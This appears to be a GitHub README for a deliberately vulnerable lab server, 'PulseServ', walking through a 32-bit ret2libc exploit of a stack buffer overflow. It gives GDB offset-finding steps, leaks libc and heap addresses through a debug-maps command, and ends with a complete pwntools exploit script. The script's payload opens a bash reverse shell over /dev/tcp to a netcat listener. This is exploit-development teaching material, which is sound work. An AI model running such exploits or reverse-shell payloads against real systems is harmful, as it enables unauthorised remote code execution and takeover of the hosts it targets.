Skip to content

Latest commit

 

History

History

stack-buffer-overflow

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

README.md

PulseServ - Linux Buffer Overflow (Ret2libc)

📝 Overview

PulseServ is a custom, lightweight TCP server written in C, designed to provide real-time system diagnostics. It contains an intentional Stack Buffer Overflow vulnerability in the process_command() function, allowing Remote Code Execution (RCE) via a ret2libc attack.

🛡️ Security Mitigations

  • Arch: i386 (32-bit)
  • RELRO: Full RELRO
  • Stack Canary: No
  • NX: Enabled
  • PIE: Enabled
  • ASLR: Enabled

🛠️ Compilation

gcc -m32 -fPIE -pie -fno-stack-protector -z relro -z now pulseserv.c -o pulseserv

🔬 Exploit Development Walkthrough (GDB)

Step 1: Finding the EIP Offset

To control the Instruction Pointer (EIP), we generate a unique cyclic pattern and crash the application.

In GDB:

gef➤ run

Send Payload (in another terminal):

python3 -c "from pwn import *; import sys; sys.stdout.buffer.write(cyclic(500))" | nc -w2 127.0.0.1 8899

Analyze Crash in GDB:

gef➤ info registers eip
# eip = 0x61616170 ("paaa")
gef➤ pattern offset $eip
# [+] Found at offset 60

Result: We need 60 bytes of padding to overwrite EIP.

Step 2: Finding the Command String (Heap Address)

Since NX is enabled, we cannot execute shellcode on the stack. We will use ret2libc. We need to find where our command string (bash -c ...) is located in the Heap.

In GDB:

gef➤ break process_command
gef➤ run

Send Payload (60 A's + Padding + Command):

python3 -c "import sys; sys.stdout.buffer.write(b'A'*60 + b'BBBB'*3 + b'bash -c id')" | nc -w2 127.0.0.1 8899

Analyze Stack in GDB:

gef➤ x/s *(char**)($esp+4)
# 0x5655a1a0: "AAAA...BBBB...bash -c id"

Calculate Heap Offset:

gef➤ vmmap
# [heap] starts at 0x5655a000
  • Buffer Address: 0x5655a1a0
  • Heap Base: 0x5655a000
  • Buffer Offset from Heap = 0x1a0

Calculate final command string address: CMD_STRING_FROM_HEAP = 0x1a0 (Buffer) + 60 (Offset) + 12 (system + fake_ret + cmd_ptr) = 0x1e8

Step 3: Leaking Libc & Heap

The application has a built-in debug-maps command that reads /proc/self/maps. We use this to bypass ASLR and PIE.

echo "debug-maps" | nc 127.0.0.1 8899

(Our Python script parses this to find the libc.so.6 base and [heap] base dynamically).

Step 4: Exploit Construction

We construct a 32-bit ret2libc payload.

Payload Structure:

[ 60 bytes Padding ] + [ system() Address ] + [ Fake Return ] + [ Pointer to Command String ] + [ Command String ]

💥 Running the Exploit

  1. Start the vulnerable server:

    ./pulseserv
  2. Start a Netcat listener in a new terminal:

    nc -lvnp 4444
  3. Run the exploit script:

    python3 exploit.py

🐍 Exploit Script (exploit.py)

#!/usr/bin/env python3
# PulseServ Exploit - Ret2libc
from pwn import *
import sys

context.binary = elf = ELF('./pulseserv')
context.arch = 'i386'
context.log_level = 'info'

HOST, PORT       = '127.0.0.1', 8899
ATTACKER, LPORT  = '127.0.0.1', 4444

# Offset confirmed via GDB cyclic pattern
OFFSET = 60

# Calculated heap offset (0x1a0 + 0x3c + 0xc)
CMD_STRING_FROM_HEAP = 0x1e8

# Stage 1: Leak libc and heap addresses
p = remote(HOST, PORT)
p.recvuntil(b"Type 'help' for available commands.\n\n") 
p.send(b'debug-maps')
leak = p.recvall(timeout=3)
p.close()

libc_base, heap_base = None, None
for line in leak.decode(errors='ignore').splitlines():
    parts = line.split()
    if len(parts) < 2 or '-' not in parts[0]:
        continue
    try:
        start = int(parts[0].split('-')[0], 16)
    except ValueError:
        continue
    if 'libc' in line and '.so' in line:
        if libc_base is None or start < libc_base:
            libc_base = start
    elif '[heap]' in line:
        heap_base = start

if not libc_base or not heap_base:
    log.failure(f"Leak failed: libc={libc_base}, heap={heap_base}")
    sys.exit(1)

log.success(f"libc_base = {hex(libc_base)}")
log.success(f"heap_base = {hex(heap_base)}")

# Stage 2: Resolve system() address
libc   = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
system = libc_base + libc.symbols['system']
cmd_addr = heap_base + CMD_STRING_FROM_HEAP

log.info(f"system  = {hex(system)}")
log.info(f"cmd_addr= {hex(cmd_addr)}")

# Stage 3: Construct payload
cmd = b"bash -c 'sh -i >& /dev/tcp/%s/%d 0>&1'" % (ATTACKER.encode(), LPORT)

payload  = b'A' * OFFSET
payload += p32(system)
payload += p32(0xdeadbeef)      # Fake return address
payload += p32(cmd_addr)        # Pointer to our command string
payload += cmd + b'\x00'

# Stage 4: Trigger
p2 = remote(HOST, PORT)
p2.recvuntil(b"Type 'help' for available commands.\n\n")
p2.send(payload)
log.success("Payload sent - awaiting shell on port 4444")
p2.interactive()

Credit: Ishan Oshada